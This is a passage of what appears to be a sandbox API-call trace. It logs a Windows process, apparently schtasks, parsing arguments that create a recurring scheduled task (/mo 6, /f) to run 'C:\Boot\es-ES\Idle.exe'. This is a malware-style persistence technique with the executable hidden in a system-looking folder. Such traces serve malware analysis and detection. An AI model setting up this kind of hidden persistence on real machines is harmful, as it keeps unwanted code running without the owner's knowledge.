(lpStart="-/", wMatch=0x4d) returned 0x0 [0133.455] SetLastError (dwErrCode=0x490) [0133.455] SetLastError (dwErrCode=0x490) [0133.455] SetLastError (dwErrCode=0x0) [0133.455] lstrlenW (lpString="MINUTE") returned 6 [0133.455] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0133.455] SetLastError (dwErrCode=0x490) [0133.455] SetLastError (dwErrCode=0x0) [0133.455] GetProcessHeap () returned 0x2b0000 [0133.455] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x18) returned 0x2cd510 [0133.455] _memicmp (_Buf1=0x2cd510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.455] lstrlenW (lpString="MINUTE") returned 6 [0133.455] GetProcessHeap () returned 0x2b0000 [0133.455] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd530 [0133.455] lstrlenW (lpString="MINUTE") returned 6 [0133.455] lstrlenW (lpString=" \x09") returned 2 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0133.455] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0133.455] GetLastError () returned 0x0 [0133.455] lstrlenW (lpString="MINUTE") returned 6 [0133.455] lstrlenW (lpString="MINUTE") returned 6 [0133.455] SetLastError (dwErrCode=0x0) [0133.455] SetLastError (dwErrCode=0x0) [0133.455] lstrlenW (lpString="/mo") returned 3 [0133.455] lstrlenW (lpString="-/") returned 2 [0133.455] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.456] lstrlenW (lpString="create") returned 6 [0133.456] lstrlenW (lpString="create") returned 6 [0133.456] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.456] lstrlenW (lpString="mo") returned 2 [0133.456] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.456] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.456] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.456] lstrlenW (lpString="|create|") returned 8 [0133.456] lstrlenW (lpString="|mo|") returned 4 [0133.456] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0133.456] SetLastError (dwErrCode=0x490) [0133.456] lstrlenW (lpString="?") returned 1 [0133.456] lstrlenW (lpString="?") returned 1 [0133.456] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.456] lstrlenW (lpString="mo") returned 2 [0133.456] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.456] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|?|") returned 3 [0133.456] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.456] lstrlenW (lpString="|?|") returned 3 [0133.456] lstrlenW (lpString="|mo|") returned 4 [0133.456] SetLastError (dwErrCode=0x490) [0133.456] lstrlenW (lpString="s") returned 1 [0133.456] lstrlenW (lpString="s") returned 1 [0133.456] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] lstrlenW (lpString="mo") returned 2 [0133.457] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|s|") returned 3 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.457] lstrlenW (lpString="|s|") returned 3 [0133.457] lstrlenW (lpString="|mo|") returned 4 [0133.457] SetLastError (dwErrCode=0x490) [0133.457] lstrlenW (lpString="u") returned 1 [0133.457] lstrlenW (lpString="u") returned 1 [0133.457] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] lstrlenW (lpString="mo") returned 2 [0133.457] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|u|") returned 3 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.457] lstrlenW (lpString="|u|") returned 3 [0133.457] lstrlenW (lpString="|mo|") returned 4 [0133.457] SetLastError (dwErrCode=0x490) [0133.457] lstrlenW (lpString="p") returned 1 [0133.457] lstrlenW (lpString="p") returned 1 [0133.457] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] lstrlenW (lpString="mo") returned 2 [0133.457] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|p|") returned 3 [0133.457] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.457] lstrlenW (lpString="|p|") returned 3 [0133.458] lstrlenW (lpString="|mo|") returned 4 [0133.458] SetLastError (dwErrCode=0x490) [0133.458] lstrlenW (lpString="ru") returned 2 [0133.458] lstrlenW (lpString="ru") returned 2 [0133.458] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.458] lstrlenW (lpString="mo") returned 2 [0133.458] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.458] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ru|") returned 4 [0133.458] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.458] lstrlenW (lpString="|ru|") returned 4 [0133.458] lstrlenW (lpString="|mo|") returned 4 [0133.458] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0133.458] SetLastError (dwErrCode=0x490) [0133.458] lstrlenW (lpString="rp") returned 2 [0133.458] lstrlenW (lpString="rp") returned 2 [0133.458] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.458] lstrlenW (lpString="mo") returned 2 [0133.458] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.458] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|rp|") returned 4 [0133.458] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.458] lstrlenW (lpString="|rp|") returned 4 [0133.458] lstrlenW (lpString="|mo|") returned 4 [0133.458] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0133.458] SetLastError (dwErrCode=0x490) [0133.458] lstrlenW (lpString="sc") returned 2 [0133.458] lstrlenW (lpString="sc") returned 2 [0133.459] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.459] lstrlenW (lpString="mo") returned 2 [0133.459] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.459] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.459] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.459] lstrlenW (lpString="|sc|") returned 4 [0133.459] lstrlenW (lpString="|mo|") returned 4 [0133.459] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0133.459] SetLastError (dwErrCode=0x490) [0133.459] lstrlenW (lpString="mo") returned 2 [0133.459] lstrlenW (lpString="mo") returned 2 [0133.459] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.459] lstrlenW (lpString="mo") returned 2 [0133.459] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.459] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.459] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.459] lstrlenW (lpString="|mo|") returned 4 [0133.459] lstrlenW (lpString="|mo|") returned 4 [0133.459] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0133.459] SetLastError (dwErrCode=0x0) [0133.459] SetLastError (dwErrCode=0x0) [0133.459] lstrlenW (lpString="6") returned 1 [0133.459] SetLastError (dwErrCode=0x490) [0133.459] SetLastError (dwErrCode=0x0) [0133.459] lstrlenW (lpString="6") returned 1 [0133.459] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0133.460] SetLastError (dwErrCode=0x490) [0133.460] SetLastError (dwErrCode=0x0) [0133.460] _memicmp (_Buf1=0x2cd510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.460] lstrlenW (lpString="6") returned 1 [0133.460] lstrlenW (lpString="6") returned 1 [0133.460] lstrlenW (lpString=" \x09") returned 2 [0133.460] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0133.460] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0133.460] GetLastError () returned 0x0 [0133.460] lstrlenW (lpString="6") returned 1 [0133.460] lstrlenW (lpString="6") returned 1 [0133.460] GetProcessHeap () returned 0x2b0000 [0133.460] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x4) returned 0x2cb940 [0133.460] SetLastError (dwErrCode=0x0) [0133.460] SetLastError (dwErrCode=0x0) [0133.460] lstrlenW (lpString="/tr") returned 3 [0133.460] lstrlenW (lpString="-/") returned 2 [0133.460] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.460] lstrlenW (lpString="create") returned 6 [0133.460] lstrlenW (lpString="create") returned 6 [0133.460] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.460] lstrlenW (lpString="tr") returned 2 [0133.460] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.460] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.460] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.460] lstrlenW (lpString="|create|") returned 8 [0133.460] lstrlenW (lpString="|tr|") returned 4 [0133.461] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0133.461] SetLastError (dwErrCode=0x490) [0133.461] lstrlenW (lpString="?") returned 1 [0133.461] lstrlenW (lpString="?") returned 1 [0133.461] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.461] lstrlenW (lpString="tr") returned 2 [0133.461] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.461] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|?|") returned 3 [0133.461] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.461] lstrlenW (lpString="|?|") returned 3 [0133.461] lstrlenW (lpString="|tr|") returned 4 [0133.461] SetLastError (dwErrCode=0x490) [0133.461] lstrlenW (lpString="s") returned 1 [0133.461] lstrlenW (lpString="s") returned 1 [0133.461] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.461] lstrlenW (lpString="tr") returned 2 [0133.461] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.461] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|s|") returned 3 [0133.461] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.461] lstrlenW (lpString="|s|") returned 3 [0133.461] lstrlenW (lpString="|tr|") returned 4 [0133.461] SetLastError (dwErrCode=0x490) [0133.461] lstrlenW (lpString="u") returned 1 [0133.461] lstrlenW (lpString="u") returned 1 [0133.461] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.461] lstrlenW (lpString="tr") returned 2 [0133.461] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|u|") returned 3 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.462] lstrlenW (lpString="|u|") returned 3 [0133.462] lstrlenW (lpString="|tr|") returned 4 [0133.462] SetLastError (dwErrCode=0x490) [0133.462] lstrlenW (lpString="p") returned 1 [0133.462] lstrlenW (lpString="p") returned 1 [0133.462] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.462] lstrlenW (lpString="tr") returned 2 [0133.462] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|p|") returned 3 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.462] lstrlenW (lpString="|p|") returned 3 [0133.462] lstrlenW (lpString="|tr|") returned 4 [0133.462] SetLastError (dwErrCode=0x490) [0133.462] lstrlenW (lpString="ru") returned 2 [0133.462] lstrlenW (lpString="ru") returned 2 [0133.462] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.462] lstrlenW (lpString="tr") returned 2 [0133.462] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ru|") returned 4 [0133.462] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.462] lstrlenW (lpString="|ru|") returned 4 [0133.462] lstrlenW (lpString="|tr|") returned 4 [0133.462] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0133.463] SetLastError (dwErrCode=0x490) [0133.463] lstrlenW (lpString="rp") returned 2 [0133.463] lstrlenW (lpString="rp") returned 2 [0133.463] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.463] lstrlenW (lpString="tr") returned 2 [0133.463] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.463] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|rp|") returned 4 [0133.463] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.463] lstrlenW (lpString="|rp|") returned 4 [0133.463] lstrlenW (lpString="|tr|") returned 4 [0133.463] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0133.463] SetLastError (dwErrCode=0x490) [0133.463] lstrlenW (lpString="sc") returned 2 [0133.463] lstrlenW (lpString="sc") returned 2 [0133.463] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.463] lstrlenW (lpString="tr") returned 2 [0133.463] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.463] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.463] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.463] lstrlenW (lpString="|sc|") returned 4 [0133.463] lstrlenW (lpString="|tr|") returned 4 [0133.463] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0133.463] SetLastError (dwErrCode=0x490) [0133.463] lstrlenW (lpString="mo") returned 2 [0133.463] lstrlenW (lpString="mo") returned 2 [0133.463] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] lstrlenW (lpString="tr") returned 2 [0133.464] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.464] lstrlenW (lpString="|mo|") returned 4 [0133.464] lstrlenW (lpString="|tr|") returned 4 [0133.464] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0133.464] SetLastError (dwErrCode=0x490) [0133.464] lstrlenW (lpString="d") returned 1 [0133.464] lstrlenW (lpString="d") returned 1 [0133.464] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] lstrlenW (lpString="tr") returned 2 [0133.464] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|d|") returned 3 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.464] lstrlenW (lpString="|d|") returned 3 [0133.464] lstrlenW (lpString="|tr|") returned 4 [0133.464] SetLastError (dwErrCode=0x490) [0133.464] lstrlenW (lpString="m") returned 1 [0133.464] lstrlenW (lpString="m") returned 1 [0133.464] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] lstrlenW (lpString="tr") returned 2 [0133.464] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|m|") returned 3 [0133.464] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.465] lstrlenW (lpString="|m|") returned 3 [0133.465] lstrlenW (lpString="|tr|") returned 4 [0133.465] SetLastError (dwErrCode=0x490) [0133.465] lstrlenW (lpString="i") returned 1 [0133.465] lstrlenW (lpString="i") returned 1 [0133.465] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.465] lstrlenW (lpString="tr") returned 2 [0133.465] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.465] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|i|") returned 3 [0133.465] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.465] lstrlenW (lpString="|i|") returned 3 [0133.465] lstrlenW (lpString="|tr|") returned 4 [0133.465] SetLastError (dwErrCode=0x490) [0133.465] lstrlenW (lpString="tn") returned 2 [0133.465] lstrlenW (lpString="tn") returned 2 [0133.465] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.465] lstrlenW (lpString="tr") returned 2 [0133.465] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.465] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.465] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.465] lstrlenW (lpString="|tn|") returned 4 [0133.465] lstrlenW (lpString="|tr|") returned 4 [0133.465] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0133.465] SetLastError (dwErrCode=0x490) [0133.465] lstrlenW (lpString="tr") returned 2 [0133.466] lstrlenW (lpString="tr") returned 2 [0133.466] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.466] lstrlenW (lpString="tr") returned 2 [0133.490] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.490] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.490] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.490] lstrlenW (lpString="|tr|") returned 4 [0133.491] lstrlenW (lpString="|tr|") returned 4 [0133.491] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0133.491] SetLastError (dwErrCode=0x0) [0133.491] SetLastError (dwErrCode=0x0) [0133.491] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.491] lstrlenW (lpString="-/") returned 2 [0133.491] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.491] SetLastError (dwErrCode=0x490) [0133.491] SetLastError (dwErrCode=0x490) [0133.491] SetLastError (dwErrCode=0x0) [0133.491] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.491] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0133.491] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.491] _memicmp (_Buf1=0x2cd4b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.491] _memicmp (_Buf1=0x2cd4f0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.491] SetLastError (dwErrCode=0x7a) [0133.491] SetLastError (dwErrCode=0x0) [0133.491] SetLastError (dwErrCode=0x0) [0133.491] lstrlenW (lpString="'C") returned 2 [0133.491] lstrlenW (lpString="-/") returned 2 [0133.491] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.491] SetLastError (dwErrCode=0x490) [0133.491] SetLastError (dwErrCode=0x490) [0133.491] SetLastError (dwErrCode=0x0) [0133.491] _memicmp (_Buf1=0x2cd510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.491] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.491] GetProcessHeap () returned 0x2b0000 [0133.492] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd530) returned 1 [0133.492] GetProcessHeap () returned 0x2b0000 [0133.492] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cd530, Size=0x32) returned 0x2c7ac0 [0133.492] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.492] lstrlenW (lpString=" \x09") returned 2 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0133.492] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.493] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0133.493] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0133.493] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0133.493] GetLastError () returned 0x0 [0133.493] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.493] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.493] SetLastError (dwErrCode=0x0) [0133.493] SetLastError (dwErrCode=0x0) [0133.493] lstrlenW (lpString="/f") returned 2 [0133.493] lstrlenW (lpString="-/") returned 2 [0133.493] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.493] lstrlenW (lpString="create") returned 6 [0133.493] lstrlenW (lpString="create") returned 6 [0133.493] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.493] lstrlenW (lpString="f") returned 1 [0133.493] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.493] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.493] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.493] lstrlenW (lpString="|create|") returned 8 [0133.493] lstrlenW (lpString="|f|") returned 3 [0133.493] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0133.493] SetLastError (dwErrCode=0x490) [0133.493] lstrlenW (lpString="?") returned 1 [0133.493] lstrlenW (lpString="?") returned 1 [0133.493] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.493] lstrlenW (lpString="f") returned 1 [0133.494] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.494] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|?|") returned 3 [0133.494] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.494] lstrlenW (lpString="|?|") returned 3 [0133.494] lstrlenW (lpString="|f|") returned 3 [0133.494] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0133.494] SetLastError (dwErrCode=0x490) [0133.494] lstrlenW (lpString="s") returned 1 [0133.494] lstrlenW (lpString="s") returned 1 [0133.494] _memicmp 